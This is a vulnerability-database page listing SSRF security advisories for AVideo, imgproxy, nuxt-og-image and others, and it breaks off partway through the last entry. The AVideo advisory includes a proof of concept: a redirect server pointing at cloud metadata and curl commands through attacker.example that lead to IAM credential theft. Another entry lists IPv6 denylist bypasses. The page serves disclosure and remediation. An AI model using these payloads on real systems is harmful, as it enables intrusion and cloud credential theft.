CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4762 vulnerabilities reference this CWE, most recent first.
GHSA-9X67-F2V7-63RW
Vulnerability from github – Published: 2026-03-17 20:33 – Updated: 2026-03-20 21:22Summary
The plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.
Affected Component
plugin/LiveLinks/proxy.php— lines 38-42 (redirect handling without SSRF re-validation)objects/functionsBrowser.php—fakeBrowser()(line 123, raw cURL fetch with no SSRF protections)
Description
Missing SSRF re-validation after HTTP redirect
The proxy.php endpoint validates the user-supplied livelink parameter against internal networks on line 18, using the comprehensive isSSRFSafeURL() function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling get_headers() on line 38 — which follows HTTP redirects — the code extracts the Location header and passes it directly to fakeBrowser() without re-applying the SSRF check:
// plugin/LiveLinks/proxy.php — lines 17-42
// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) { // line 18: only checks initial URL
_error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
echo "Access denied: URL targets restricted network";
exit;
}
// ... stream context setup ...
$headers = get_headers($_GET['livelink'], 1, $context); // line 38: follows redirects
if (!empty($headers["Location"])) {
$_GET['livelink'] = $headers["Location"]; // line 40: attacker-controlled redirect target
$urlinfo = parse_url($_GET['livelink']);
$content = fakeBrowser($_GET['livelink']); // line 42: fetches internal URL, NO SSRF check
$_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
No SSRF protections in fakeBrowser()
The fakeBrowser() function in objects/functionsBrowser.php performs a raw cURL GET with no URL validation:
// objects/functionsBrowser.php — lines 123-141
function fakeBrowser($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.
Endpoint is fully unauthenticated
The file begins by explicitly opting out of database and session initialization:
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';
There is no .htaccess rule restricting access to proxy.php, and the root .htaccess confirms the plugin directory is routable (line 248: RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2).
Inconsistent defense pattern
The codebase demonstrates awareness of SSRF risks — isSSRFSafeURL() is used in 5 other locations (aVideoEncoder.json.php:303, aVideoEncoderReceiveImage.json.php:67,107,135,160, AI/receiveAsync.json.php:177). However, none of these callers deal with HTTP redirects. The proxy.php endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.
Double SSRF exposure
There are actually two SSRF requests in the redirect path:
1. get_headers() (line 38) follows the redirect to the internal IP to fetch response headers
2. fakeBrowser() (line 42) fetches the full response body from the internal IP
The second is more impactful as it returns the full content to the attacker.
Proof of Concept
Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target:
# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
Step 2: Send the request to the target AVideo instance:
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"
Expected result: The response will contain the cloud metadata listing (e.g., ami-id, instance-id, iam/) prefixed with http://169.254.169.254: on each line. The attacker strips the prefix to recover the original metadata content.
Step 3: Escalate to IAM credential theft:
# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"
This returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) that can be used to access cloud resources.
Impact
- Cloud metadata exposure: Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
- Internal network scanning: Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
- Internal service data exfiltration: Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
- No authentication required: The attack is fully unauthenticated, requiring only network access to the AVideo instance
Recommended Remediation
Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)
Apply the same SSRF check to the redirect URL before fetching it:
$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
$_GET['livelink'] = $headers["Location"];
// Re-validate redirect target against SSRF
if (!isSSRFSafeURL($_GET['livelink'])) {
_error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']);
echo "Access denied: Redirect URL targets restricted network";
exit;
}
$urlinfo = parse_url($_GET['livelink']);
$content = fakeBrowser($_GET['livelink']);
$_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
Option 2: Disable redirect following in get_headers()
Prevent get_headers() from following redirects entirely by adding follow_location to the stream context:
$options = array(
'http' => array(
'user_agent' => '...',
'method' => 'GET',
'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"),
'follow_location' => 0, // Do not follow redirects
'max_redirects' => 0,
)
);
Then validate the Location header with isSSRFSafeURL() before following it manually. This approach prevents the get_headers() call itself from performing SSRF via the redirect.
Note: Option 1 is simpler but still allows get_headers() to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33039"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T20:33:06Z",
"nvd_published_at": "2026-03-20T06:16:12Z",
"severity": "HIGH"
},
"details": "## Summary\nThe `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.\n\n## Affected Component\n- `plugin/LiveLinks/proxy.php` \u2014 lines 38-42 (redirect handling without SSRF re-validation)\n- `objects/functionsBrowser.php` \u2014 `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections)\n\n## Description\n\n### Missing SSRF re-validation after HTTP redirect\n\nThe `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 \u2014 which follows HTTP redirects \u2014 the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check:\n\n```php\n// plugin/LiveLinks/proxy.php \u2014 lines 17-42\n\n// SSRF Protection: Block requests to internal/private networks\nif (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) { // line 18: only checks initial URL\n _error_log(\"LiveLinks proxy: SSRF protection blocked URL: \" . $_GET[\u0027livelink\u0027]);\n echo \"Access denied: URL targets restricted network\";\n exit;\n}\n\n// ... stream context setup ...\n\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context); // line 38: follows redirects\nif (!empty($headers[\"Location\"])) {\n $_GET[\u0027livelink\u0027] = $headers[\"Location\"]; // line 40: attacker-controlled redirect target\n $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n $content = fakeBrowser($_GET[\u0027livelink\u0027]); // line 42: fetches internal URL, NO SSRF check\n $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### No SSRF protections in fakeBrowser()\n\nThe `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation:\n\n```php\n// objects/functionsBrowser.php \u2014 lines 123-141\nfunction fakeBrowser($url)\n{\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_USERAGENT, \u0027Mozilla/5.0 ...\u0027);\n $output = curl_exec($ch);\n curl_close($ch);\n return $output;\n}\n```\n\nNo IP validation, no scheme restriction, no redirect control \u2014 any URL passed to this function is fetched unconditionally.\n\n### Endpoint is fully unauthenticated\n\nThe file begins by explicitly opting out of database and session initialization:\n\n```php\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\nrequire_once \u0027../../videos/configuration.php\u0027;\n```\n\nThere is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`).\n\n### Inconsistent defense pattern\n\nThe codebase demonstrates awareness of SSRF risks \u2014 `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.\n\n### Double SSRF exposure\n\nThere are actually two SSRF requests in the redirect path:\n1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers\n2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP\n\nThe second is more impactful as it returns the full content to the attacker.\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled server that returns a 302 redirect to an internal target:\n\n```python\n# redirect_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/\u0027)\n self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2:** Send the request to the target AVideo instance:\n\n```bash\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect\"\n```\n\n**Expected result:** The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content.\n\n**Step 3:** Escalate to IAM credential theft:\n\n```bash\n# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole-name\u003e\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam\"\n```\n\nThis returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources.\n\n## Impact\n\n- **Cloud metadata exposure:** Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials\n- **Internal network scanning:** Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure\n- **Internal service data exfiltration:** Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker\n- **No authentication required:** The attack is fully unauthenticated, requiring only network access to the AVideo instance\n\n## Recommended Remediation\n\n### Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)\n\nApply the same SSRF check to the redirect URL before fetching it:\n\n```php\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context);\nif (!empty($headers[\"Location\"])) {\n $_GET[\u0027livelink\u0027] = $headers[\"Location\"];\n\n // Re-validate redirect target against SSRF\n if (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) {\n _error_log(\"LiveLinks proxy: SSRF protection blocked redirect URL: \" . $_GET[\u0027livelink\u0027]);\n echo \"Access denied: Redirect URL targets restricted network\";\n exit;\n }\n\n $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n $content = fakeBrowser($_GET[\u0027livelink\u0027]);\n $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### Option 2: Disable redirect following in get_headers()\n\nPrevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context:\n\n```php\n$options = array(\n \u0027http\u0027 =\u003e array(\n \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027header\u0027 =\u003e array(\"Referer: localhost\\r\\nAccept-language: en\\r\\nCookie: foo=bar\\r\\n\"),\n \u0027follow_location\u0027 =\u003e 0, // Do not follow redirects\n \u0027max_redirects\u0027 =\u003e 0,\n )\n);\n```\n\nThen validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect.\n\n**Note:** Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-9x67-f2v7-63rw",
"modified": "2026-03-20T21:22:40Z",
"published": "2026-03-17T20:33:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33039"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy"
}
GHSA-9X7H-GGC3-XG47
Vulnerability from github – Published: 2023-05-08 15:30 – Updated: 2023-05-17 12:57imgproxy prior to version 3.15.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/imgproxy/imgproxy/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-30019"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-11T20:34:50Z",
"nvd_published_at": "2023-05-08T15:15:11Z",
"severity": "MODERATE"
},
"details": "imgproxy prior to version 3.15.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.",
"id": "GHSA-9x7h-ggc3-xg47",
"modified": "2023-05-17T12:57:59Z",
"published": "2023-05-08T15:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30019"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/commit/1a9768a2c682e88820064aa3d9a05ea234ff3cc4"
},
{
"type": "WEB",
"url": "https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy"
},
{
"type": "PACKAGE",
"url": "https://github.com/imgproxy/imgproxy"
},
{
"type": "WEB",
"url": "https://github.com/imgproxy/imgproxy/blob/ee9e8f0cb101ec22318caffd552a23cc0548d5ce/imagedata/download.go#L142"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "imgproxy is vulnerable to Server-Side Request Forgery"
}
GHSA-9XC9-XQ7W-VPCR
Vulnerability from github – Published: 2024-01-31 09:30 – Updated: 2025-02-13 19:32Server-Side Request Forgery (SSRF) vulnerability in Apache ServiceComb Service-Center. Attackers can obtain sensitive server information through specially crafted requests.This issue affects Apache ServiceComb before 2.1.0 (included). Users are recommended to upgrade to version 2.2.0, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/apache/servicecomb-service-center"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-44313"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-31T22:43:09Z",
"nvd_published_at": "2024-01-31T09:15:43Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Apache ServiceComb Service-Center. Attackers can obtain sensitive server information through specially crafted requests.This issue affects Apache ServiceComb before 2.1.0 (included). Users are recommended to upgrade to version 2.2.0, which fixes the issue.",
"id": "GHSA-9xc9-xq7w-vpcr",
"modified": "2025-02-13T19:32:39Z",
"published": "2024-01-31T09:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44313"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/servicecomb-service-center"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/kxovd455o9h4f2v811hcov2qknbwld5r"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/01/31/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache ServiceComb Service-Center Server-Side Request Forgery vulnerability"
}
GHSA-9XCP-X784-H228
Vulnerability from github – Published: 2025-06-17 21:32 – Updated: 2025-06-17 21:32A Server-side Request Forgery (SSRF) vulnerability in Trend Micro Apex Central (SaaS) could allow an attacker to manipulate certain parameters leading to information disclosure on affected installations.
Please note: this vulnerability only affects the SaaS instance of Apex Central - customers that automatically apply Trend Micro's monthly maintenance releases to the SaaS instance do not have to take any further action.
{
"affected": [],
"aliases": [
"CVE-2025-30680"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-17T20:15:31Z",
"severity": "HIGH"
},
"details": "A Server-side Request Forgery (SSRF) vulnerability in Trend Micro Apex Central (SaaS) could allow an attacker to manipulate certain parameters leading to information disclosure on affected installations. \n\nPlease note: this vulnerability only affects the SaaS instance of Apex Central - customers that automatically apply Trend Micro\u0027s monthly maintenance releases to the SaaS instance do not have to take any further action.",
"id": "GHSA-9xcp-x784-h228",
"modified": "2025-06-17T21:32:31Z",
"published": "2025-06-17T21:32:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30680"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/en-US/solution/KA-0019355"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-238"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9XP2-5X23-FHJ5
Vulnerability from github – Published: 2024-02-23 12:30 – Updated: 2026-04-28 21:34Server-Side Request Forgery (SSRF) vulnerability in Raaj Trambadia Pexels: Free Stock Photos.This issue affects Pexels: Free Stock Photos: from n/a through 1.2.2.
{
"affected": [],
"aliases": [
"CVE-2024-25915"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-23T12:15:46Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Raaj Trambadia Pexels: Free Stock Photos.This issue affects Pexels: Free Stock Photos: from n/a through 1.2.2.",
"id": "GHSA-9xp2-5x23-fhj5",
"modified": "2026-04-28T21:34:00Z",
"published": "2024-02-23T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25915"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-pexels-free-stock-photos/wordpress-pexels-free-stock-photos-plugin-1-2-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9XP7-754R-WJ55
Vulnerability from github – Published: 2024-03-28 06:30 – Updated: 2025-02-13 18:32Server-Side Request Forgery (SSRF) vulnerability in Jordy Meow AI Engine: ChatGPT Chatbot.This issue affects AI Engine: ChatGPT Chatbot: from n/a through 2.1.4.
{
"affected": [],
"aliases": [
"CVE-2024-29090"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-28T06:15:12Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Jordy Meow AI Engine: ChatGPT Chatbot.This issue affects AI Engine: ChatGPT Chatbot: from n/a through 2.1.4.",
"id": "GHSA-9xp7-754r-wj55",
"modified": "2025-02-13T18:32:24Z",
"published": "2024-03-28T06:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29090"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/ai-engine/wordpress-ai-engine-plugin-2-1-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/chaos-in-the-ai-zoo-exploiting-cve-2024-29090-authenticated-ssrf-in-ai-engine-plugin-by-jordy-meow"
},
{
"type": "WEB",
"url": "https://www.vicarius.io/vsociety/posts/decoding-the-unseen-threat-exploiting-cve-2024-29090-authenticated-ssrf-in-ai-engine-by-jordy-meow-wordpress-plugin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9XWX-QCQW-PPM5
Vulnerability from github – Published: 2023-06-16 18:30 – Updated: 2024-04-04 04:55CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).
{
"affected": [],
"aliases": [
"CVE-2023-24243"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-16T17:15:11Z",
"severity": "HIGH"
},
"details": "CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).",
"id": "GHSA-9xwx-qcqw-ppm5",
"modified": "2024-04-04T04:55:08Z",
"published": "2023-06-16T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24243"
},
{
"type": "WEB",
"url": "https://arc.cdata.com"
},
{
"type": "WEB",
"url": "https://arc.cdata.com/trial"
},
{
"type": "WEB",
"url": "https://gist.github.com/d3vc0r3/6460a5f006e32a2ebffe739e411ab1b8"
},
{
"type": "WEB",
"url": "https://www.cdata.com/kb/entries/netembeddedserver-notice.rst"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C2FV-2FMJ-9XRX
Vulnerability from github – Published: 2025-07-28 06:30 – Updated: 2026-05-05 20:25Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-p4hc-9pjh-55c8. This link is maintained to preserve external references.
Original Description
Versions of the package ssrfcheck below 1.2.0 are vulnerable to Server-Side Request Forgery (SSRF) due to an incomplete denylist of IP address ranges. Specifically, the package fails to classify the reserved IP address space 224.0.0.0/4 (Multicast) as invalid. This oversight allows attackers to craft requests targeting these multicast addresses.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "ssrfcheck"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-28T16:42:51Z",
"nvd_published_at": "2025-07-28T05:16:20Z",
"severity": "HIGH"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-p4hc-9pjh-55c8. This link is maintained to preserve external references.\n\n### Original Description\nVersions of the package ssrfcheck below 1.2.0 are vulnerable to Server-Side Request Forgery (SSRF) due to an incomplete denylist of IP address ranges. Specifically, the package fails to classify the reserved IP address space 224.0.0.0/4 (Multicast) as invalid. This oversight allows attackers to craft requests targeting these multicast addresses.",
"id": "GHSA-c2fv-2fmj-9xrx",
"modified": "2026-05-05T20:25:33Z",
"published": "2025-07-28T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8267"
},
{
"type": "WEB",
"url": "https://github.com/felippe-regazio/ssrfcheck/issues/5"
},
{
"type": "WEB",
"url": "https://github.com/felippe-regazio/ssrfcheck/commit/9507b49fd764f2a1a1d1e3b9ee577b7545e6950e"
},
{
"type": "WEB",
"url": "https://gist.github.com/lirantal/2976840639df824cb3abe60d13c65e04"
},
{
"type": "PACKAGE",
"url": "https://github.com/felippe-regazio/ssrfcheck"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-SSRFCHECK-9510756"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: ssrfcheck has Incomplete IP Address Deny List that leads to Server-Side Request Forgery Vulnerability",
"withdrawn": "2026-05-05T20:25:33Z"
}
GHSA-C2RM-G55X-8HR5
Vulnerability from github – Published: 2026-05-07 20:52 – Updated: 2026-05-15 23:44Summary
The isBlockedUrl() denylist introduced in nuxt-og-image@6.2.5 to remediate GHSA-pqhr-mp3f-hrpp (Dmitry Prokhorov / Positive Technologies, March 2026) is incomplete. The patch advisory states "Decimal/hexadecimal IP encoding bypasses are also handled" — that part is true (Node's WHATWG URL parser canonicalizes those forms before validation), but the v6.2.5 implementation misses two independent surfaces in the latest release 6.4.8:
- IPv6 prefix list is incomplete. The IPv6 branch checks only
bare === "::1" || startsWith("fc") || startsWith("fd") || startsWith("fe80"). It misses: [::ffff:7f00:1]— IPv6-mapped IPv4 loopback in pure-hex form (RE_MAPPED_V4 regex requires dotted-quad). Reaches 127.0.0.1 on a single-stack-IPv4 host with no other primitive needed.[fec0::/10](RFC 3879 site-local — deprecated but still routable on legacy networks)[5f00::/16](RFC 9602 SRv6 SIDs)[3fff::/20](RFC 9637 IPv6 documentation v2)-
[64:ff9b:1::/48](RFC 8215 NAT64 local-use, including embedded IPv4 loopback[64:ff9b:1::7f00:1]) -
No redirect re-validation.
isBlockedUrlruns once on the initial<img src>. The subsequent$fetch(decodedSrc, ...)(ofetch, default redirect-follow) follows 30x responses with no second-pass validation. Any allowed origin that returns a 302 to an internal IP — S3 redirect rules, GCS, Azure, CloudFront, any user-content CDN where the attacker can place a single redirect — completes the SSRF.
The net result is that the v6.2.5 SSRF advisory is bypassable in two distinct ways. The same root family as #29 / #38 (ipx) but in a different code path with different gaps — nuxt-og-image does not delegate to ipx, it ships its own validator, and that validator has fresh issues that survived the prior fix.
Affected
| Package | Version | Role |
|---|---|---|
nuxt-og-image |
6.4.8 (latest) |
default OG-image generator for Nuxt apps |
@nuxtjs/og-image (alias) |
same | re-export, same code path |
The vulnerable code lives in dist/runtime/server/og-image/core/plugins/imageSrc.js and is enforced for every <img src> (and style="background-image: url(...)") inside an OG image component, on production builds (!import.meta.dev).
Vulnerable code (imageSrc.js, verbatim)
function isPrivateIPv4(a, b) {
if (a === 127) return true;
if (a === 10) return true;
if (a === 172 && b >= 16 && b <= 31) return true;
if (a === 192 && b === 168) return true;
if (a === 169 && b === 254) return true;
if (a === 0) return true;
return false;
}
function isBlockedUrl(url) {
let parsed;
try { parsed = new URL(url); } catch { return true; }
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") return true;
const hostname = parsed.hostname.toLowerCase();
const bare = hostname.replace(RE_IPV6_BRACKETS, "");
if (bare === "localhost" || bare.endsWith(".localhost")) return true;
const mappedV4 = bare.match(RE_MAPPED_V4); // /^::ffff:(\d+\.\d+\.\d+\.\d+)$/
